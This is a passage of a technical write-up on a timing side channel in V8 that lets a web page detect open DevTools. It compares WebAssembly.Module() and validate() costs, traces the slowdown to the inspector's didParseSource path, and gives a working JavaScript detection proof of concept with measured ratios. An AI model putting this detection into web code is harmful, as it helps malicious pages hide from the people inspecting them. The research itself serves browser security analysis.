SuppressDebug while_processing(this);
DebugScope debug_scope(this);
HandleScope scope(isolate_);
DisableBreak no_recursive_break(this);
AllowJavascriptExecution allow_script(isolate_);
{
RCS_SCOPE(isolate_, RuntimeCallCounterId::kDebuggerCallback);
debug_delegate_->ScriptCompiled(ToApiHandle<debug::Script>(script),
running_live_edit_, has_compile_error);
}
}
When no inspector session is connected, ignore_events() returns true (because is_active_ is false) and OnAfterCompile() returns at that check, never reaching the delegate call. The cost is some comparisons and a return (virtually zero).
When DevTools opens and enables the Debugger domain, V8’s inspector registers itself as the debug delegate and sets is_active_ to true. Now ignore_events() returns false, the call falls through to ScriptCompiled(), which iterates every active inspector session and calls didParseSource() on each one.
The expensive logic
V8DebuggerAgentImpl::didParseSource() runs synchronously on the main thread, the Module() constructor doesn’t return to JavaScript until this entire function completes. For WASM modules specifically, it performs:
- WASM debug symbol extraction - reads DWARF/sourcemap info from the module via
getDebugSymbols(), even when no debug info is present - Script registration - inserts the script into the agent’s
m_scriptsmap - Blackbox cache invalidation - resets cached blackboxed state
- Stack trace capture - walks the V8 stack via
V8StackTraceImpl::capture() - Breakpoint matching - iterates stored breakpoints (by URL, regex, and script hash) and tests each matching group against the new script. Matching breakpoints trigger
setBreakpointImpl(), which can cause WASM function recompilation with breakpoint instrumentation scriptParsedCDP event construction - serializes the full script metadata (ID, URL, hash, source map, debug symbols, resolved breakpoints) into a Chrome DevTools Protocol event for the frontend- Breakpoint resolution events - sends
breakpointResolvedfor each matched breakpoint - Instrumentation breakpoint setup - checks and sets instrumentation breakpoints if configured
Additionally, LogWasmCodes() (see SyncCompile above) is guarded by WasmCode::ShouldBeLogged(), which returns isolate->IsLoggingCodeCreation(). This is true when the inspector has registered a code event listener. With DevTools attached, it iterates every compiled function in the module and logs it. Without DevTools, it returns immediately.
Why the ratio inverts
For a minimal WASM module (34 bytes, single function returning a constant), the per-call costs break down roughly as:
Baseline - validate() cost:
| Function | Time | Note |
|---|---|---|
DecodeWasmModule() | ~15us | full decode + validation |
ValidateAndSetBuiltinImports() | ~3us | import compatibility |
| Total | ~18-19us |
Without DevTools - Module() cost:
| Function | Time | Note |
|---|---|---|
DecodeWasmModule() | ~9us | decode without validation |
ValidateAndSetBuiltinImports() | ~2us | import compatibility |
CompileToNativeModule() | ~2us | cache hit via MaybeGetNativeModule |
GetOrCreateScript() | ~1us | cache hit |
LogWasmCodes() | ~0us | ShouldBeLogged = false, returns |
OnAfterCompile() | ~0us | ignore_events() = true, returns |
| Total | ~14-16us |
With DevTools - Module() cost:
| Function | Time | Note |
|---|---|---|
DecodeWasmModule() | ~9us | same |
ValidateAndSetBuiltinImports() | ~2us | same |
CompileToNativeModule() | ~2us | same cache hit |
GetOrCreateScript() | ~1us | same cache hit |
LogWasmCodes() | ~3-5us | iterates compiled functions |
OnAfterCompile() | ~22-25us | the signal |
- didParseSource() | ~20us | debug symbols, script registration, stack capture, breakpoint matching, scriptParsed serialization |
| Total | ~40-44us |
Module() is slightly faster than validate() because cached compilations skip the full validation that SyncValidate always performs. SyncCompile passes validate_module = v8_flags.wasm_jitless (which is false in the standard non-jitless path), deferring validation to the compiler, while SyncValidate passes true. The cached NativeModule was already validated during its initial compilation.
When devtools are open and the compile / validate ratio changes from ~0.78 to ~2.33.
Proof of Concept (PoC)
The detection loops both operations, computes the compile/validate ratio, and averages over 5 rounds. A threshold of 1.5 provides comfortable margin above the clean baseline (~0.78) while staying well below the DevTools ratio (~2.33):
const THRESHOLD = 1.5;
const WASM_BYTES = new Uint8Array([
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60,
0x00, 0x01, 0x7f, 0x03, 0x02, 0x01, 0x00, 0x07, 0x05, 0x01, 0x01, 0x66,
0x00, 0x00, 0x0a, 0x06, 0x01, 0x04, 0x00, 0x41, 0x2a, 0x0b,
]);
function sample(N) {
const t0 = performance.now();
for (let i = 0; i < N; i++) new WebAssembly.Module(WASM_BYTES);
const compileMs = performance.now() - t0;
const t1 = performance.now();
for (let i = 0; i < N; i++) WebAssembly.validate(WASM_BYTES);
const validateMs = performance.now() - t1;
const ratio = compileMs / Math.max(validateMs, 0.001);
return { compileMs, validateMs, ratio };
}
function runDetection() {
const N = 1000;
sample(50);
const results = [];
for (let i = 0; i < 5; i++) results.push(sample(N));
const avgRatio = results.reduce((s, r) => s + r.ratio, 0) / results.length;
return avgRatio > THRESHOLD;
}
Observed results
Tested on Windows 11, Microsoft Edge 148.0.3967.70:
| State | Module() per-call | validate() per-call | Ratio |
|---|---|---|---|
| No DevTools | ~15us | ~19us | 0.78 |
| DevTools open | ~42us | ~18us | 2.33 |
The validate() cost stays constant at ~18-19us regardless of DevTools state. The Module() cost jumps from ~15us to ~42us, close to a 3x increase driven entirely by the didParseSource chain.